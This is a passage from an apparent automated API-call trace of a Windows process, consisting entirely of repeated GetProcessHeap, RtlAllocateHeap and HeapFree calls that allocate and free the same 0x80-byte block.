[0063.230] GetProcessHeap () returned 0x540000 [0063.230] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.230] GetProcessHeap () returned 0x540000 [0063.230] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.230] GetProcessHeap () returned 0x540000 [0063.230] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.230] GetProcessHeap () returned 0x540000 [0063.230] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.230] GetProcessHeap () returned 0x540000 [0063.230] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.230] GetProcessHeap () returned 0x540000 [0063.230] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.230] GetProcessHeap () returned 0x540000 [0063.230] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.230] GetProcessHeap () returned 0x540000 [0063.230] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.230] GetProcessHeap () returned 0x540000 [0063.231] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.231] GetProcessHeap () returned 0x540000 [0063.231] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.231] GetProcessHeap () returned 0x540000 [0063.231] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.231] GetProcessHeap () returned 0x540000 [0063.231] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.231] GetProcessHeap () returned 0x540000 [0063.231] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.231] GetProcessHeap () returned 0x540000 [0063.231] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.231] GetProcessHeap () returned 0x540000 [0063.231] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.231] GetProcessHeap () returned 0x540000 [0063.231] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.231] GetProcessHeap () returned 0x540000 [0063.231] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.231] GetProcessHeap () returned 0x540000 [0063.231] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.231] GetProcessHeap () returned 0x540000 [0063.231] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.231] GetProcessHeap () returned 0x540000 [0063.231] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.231] GetProcessHeap () returned 0x540000 [0063.231] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.231] GetProcessHeap () returned 0x540000 [0063.231] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.231] GetProcessHeap () returned 0x540000 [0063.231] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.231] GetProcessHeap () returned 0x540000 [0063.231] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.231] GetProcessHeap () returned 0x540000 [0063.231] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.231] GetProcessHeap () returned 0x540000 [0063.231] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.231] GetProcessHeap () returned 0x540000 [0063.231] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.231] GetProcessHeap () returned 0x540000 [0063.231] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.232] GetProcessHeap () returned 0x540000 [0063.232] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.232] GetProcessHeap () returned 0x540000 [0063.232] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.232] GetProcessHeap () returned 0x540000 [0063.232] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.232] GetProcessHeap () returned 0x540000 [0063.232] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.232] GetProcessHeap () returned 0x540000 [0063.232] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.232] GetProcessHeap () returned 0x540000 [0063.232] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.232] GetProcessHeap () returned 0x540000 [0063.232] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.232] GetProcessHeap () returned 0x540000 [0063.232] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.232] GetProcessHeap () returned 0x540000 [0063.232] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.232] GetProcessHeap () returned 0x540000 [0063.232] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.232] GetProcessHeap () returned 0x540000 [0063.232] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.232] GetProcessHeap () returned 0x540000 [0063.232] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.232] GetProcessHeap () returned 0x540000 [0063.232] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.232] GetProcessHeap () returned 0x540000 [0063.232] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.232] GetProcessHeap () returned 0x540000 [0063.232] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.232] GetProcessHeap () returned 0x540000 [0063.232] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.232] GetProcessHeap () returned 0x540000 [0063.232] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.232] GetProcessHeap () returned 0x540000 [0063.232] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.232] GetProcessHeap () returned 0x540000 [0063.232] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.232] GetProcessHeap () returned 0x540000 [0063.232] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.233] GetProcessHeap () returned 0x540000 [0063.233] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.233] GetProcessHeap () returned 0x540000 [0063.233] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.233] GetProcessHeap () returned 0x540000 [0063.233] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.233] GetProcessHeap () returned 0x540000 [0063.233] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.233] GetProcessHeap () returned 0x540000 [0063.233] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.233] GetProcessHeap () returned 0x540000 [0063.233] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.233] GetProcessHeap () returned 0x540000 [0063.233] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.233] GetProcessHeap () returned 0x540000 [0063.233] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.233] GetProcessHeap () returned 0x540000 [0063.233] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.233] GetProcessHeap () returned 0x540000 [0063.233] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.233] GetProcessHeap () returned 0x540000 [0063.233] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.233] GetProcessHeap () returned 0x540000 [0063.233] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.233] GetProcessHeap () returned 0x540000 [0063.233] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.233] GetProcessHeap () returned 0x540000 [0063.233] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.233] GetProcessHeap () returned 0x540000 [0063.233] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.233] GetProcessHeap () returned 0x540000 [0063.233] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.233] GetProcessHeap () returned 0x540000 [0063.233] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.233] GetProcessHeap () returned 0x540000 [0063.234] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.234] GetProcessHeap () returned 0x540000 [0063.234] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.234] GetProcessHeap () returned 0x540000 [0063.234] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.234] GetProcessHeap () returned 0x540000 [0063.234] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.234] GetProcessHeap () returned 0x540000 [0063.234] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.234] GetProcessHeap () returned 0x540000 [0063.234] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.234] GetProcessHeap () returned 0x540000 [0063.234] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.234] GetProcessHeap () returned 0x540000 [0063.234] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.234] GetProcessHeap () returned 0x540000 [0063.234] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.234] GetProcessHeap () returned 0x540000 [0063.234] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.234] GetProcessHeap () returned 0x540000 [0063.234] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.234] GetProcessHeap () returned 0x540000 [0063.234] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.234] GetProcessHeap () returned 0x540000 [0063.234] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.234] GetProcessHeap () returned 0x540000 [0063.234] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.234] GetProcessHeap () returned 0x540000 [0063.234] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.234] GetProcessHeap () returned 0x540000 [0063.234] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.234] GetProcessHeap () returned 0x540000 [0063.234] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.234] GetProcessHeap () returned 0x540000 [0063.234] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.234] GetProcessHeap () returned 0x540000 [0063.234] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.234] GetProcessHeap () returned 0x540000 [0063.234] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.235] GetProcessHeap () returned 0x540000 [0063.235] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.235] GetProcessHeap () returned 0x540000 [0063.235] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.235] GetProcessHeap () returned 0x540000 [0063.235] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.235] GetProcessHeap () returned 0x540000 [0063.235] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.235] GetProcessHeap () returned 0x540000 [0063.235] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.235] GetProcessHeap () returned 0x540000 [0063.235] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.235] GetProcessHeap () returned 0x540000 [0063.235] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.235] GetProcessHeap () returned 0x540000 [0063.235] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.235] GetProcessHeap () returned 0x540000 [0063.235] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.235] GetProcessHeap () returned 0x540000 [0063.235] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.235] GetProcessHeap () returned 0x540000 [0063.235] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.235] GetProcessHeap () returned 0x540000 [0063.235] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.235] GetProcessHeap () returned 0x540000 [0063.235] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.235] GetProcessHeap () returned 0x540000 [0063.235] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.235] GetProcessHeap () returned 0x540000 [0063.235] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.235] GetProcessHeap () returned 0x540000 [0063.235] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.235] GetProcessHeap () returned 0x540000 [0063.235] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.235] GetProcessHeap () returned 0x540000 [0063.235] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.235] GetProcessHeap () returned 0x540000 [0063.235] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.235] GetProcessHeap () returned 0x540000 [0063.235] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.236] GetProcessHeap () returned 0x540000 [0063.236] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.236] GetProcessHeap () returned 0x540000 [0063.236] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.236] GetProcessHeap () returned 0x540000 [0063.236] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.236] GetProcessHeap () returned 0x540000 [0063.236] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.236] GetProcessHeap () returned 0x540000 [0063.236] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.236] GetProcessHeap () returned 0x540000 [0063.236] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.236] GetProcessHeap () returned 0x540000 [0063.236] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.236] GetProcessHeap () returned 0x540000 [0063.236] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.236] GetProcessHeap () returned 0x540000 [0063.236] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.236] GetProcessHeap () returned 0x540000 [0063.236] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.236] GetProcessHeap () returned 0x540000 [0063.236] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.236] GetProcessHeap () returned 0x540000 [0063.236] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.236] GetProcessHeap () returned 0x540000 [0063.236] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.236] GetProcessHeap () returned 0x540000 [0063.236] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.236] GetProcessHeap () returned 0x540000 [0063.236] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.236] GetProcessHeap () returned 0x540000 [0063.236] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.236] GetProcessHeap () returned 0x540000 [0063.236] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.236] GetProcessHeap () returned 0x540000 [0063.236] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.236] GetProcessHeap () returned 0x540000 [0063.236] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.236] GetProcessHeap () returned 0x540000 [0063.236] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.237] GetProcessHeap () returned 0x540000 [0063.237] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.237] GetProcessHeap () returned 0x540000 [0063.237] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.237] GetProcessHeap () returned 0x540000 [0063.237] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.237] GetProcessHeap () returned 0x540000 [0063.237] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.237] GetProcessHeap () returned 0x540000 [0063.237] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.237] GetProcessHeap () returned 0x540000 [0063.237] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.237] GetProcessHeap () returned 0x540000 [0063.237] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.237] GetProcessHeap () returned 0x540000 [0063.237] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.237] GetProcessHeap () returned 0x540000 [0063.237] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.237] GetProcessHeap () returned 0x540000 [0063.237] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.237] GetProcessHeap () returned 0x540000 [0063.237] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.237] GetProcessHeap () returned 0x540000 [0063.237] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.237] GetProcessHeap () returned 0x540000 [0063.237] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.237] GetProcessHeap () returned 0x540000 [0063.237] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.237] GetProcessHeap () returned 0x540000 [0063.237] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.237] GetProcessHeap () returned 0x540000 [0063.237] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.237] GetProcessHeap () returned 0x540000 [0063.237] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.237] GetProcessHeap () returned 0x540000 [0063.237] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.237] GetProcessHeap () returned 0x540000 [0063.237] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.237] GetProcessHeap () returned 0x540000 [0063.237] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.238] GetProcessHeap () returned 0x540000 [0063.238] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.238] GetProcessHeap () returned 0x540000 [0063.238] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.238] GetProcessHeap () returned 0x540000 [0063.238] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.238] GetProcessHeap () returned 0x540000 [0063.238] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.238] GetProcessHeap () returned 0x540000 [0063.238] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.238] GetProcessHeap () returned 0x540000 [0063.238] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.238] GetProcessHeap () returned 0x540000 [0063.238] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.238] GetProcessHeap () returned 0x540000 [0063.238] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.238] GetProcessHeap () returned 0x540000 [0063.238] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.238] GetProcessHeap () returned 0x540000 [0063.238] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.238] GetProcessHeap () returned 0x540000 [0063.238] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.238] GetProcessHeap () returned 0x540000 [0063.238] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.238] GetProcessHeap () returned 0x540000 [0063.238] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.238] GetProcessHeap () returned 0x540000 [0063.238] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.238] GetProcessHeap () returned 0x540000 [0063.238] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.238] GetProcessHeap () returned 0x540000 [0063.238] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.238] GetProcessHeap () returned 0x540000 [0063.238] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.238] GetProcessHeap () returned 0x540000 [0063.238] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.238] GetProcessHeap () returned 0x540000 [0063.238] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.238] GetProcessHeap () returned 0x540000 [0063.238] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.239] GetProcessHeap () returned 0x540000 [0063.239] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.239] GetProcessHeap () returned 0x540000 [0063.239] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.239] GetProcessHeap () returned 0x540000 [0063.239] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.239] GetProcessHeap () returned 0x540000 [0063.239] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.239] GetProcessHeap () returned 0x540000 [0063.239] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.239] GetProcessHeap () returned 0x540000 [0063.239] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.239] GetProcessHeap () returned 0x540000 [0063.239] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.239] GetProcessHeap () returned 0x540000 [0063.239] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.239] GetProcessHeap () returned 0x540000 [0063.239] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.239] GetProcessHeap () returned 0x540000 [0063.239] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.239] GetProcessHeap () returned 0x540000 [0063.239] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.239] GetProcessHeap () returned 0x540000 [0063.239] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.239] GetProcessHeap () returned 0x540000 [0063.239] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.239] GetProcessHeap () returned 0x540000 [0063.239] RtlAllocateHeap 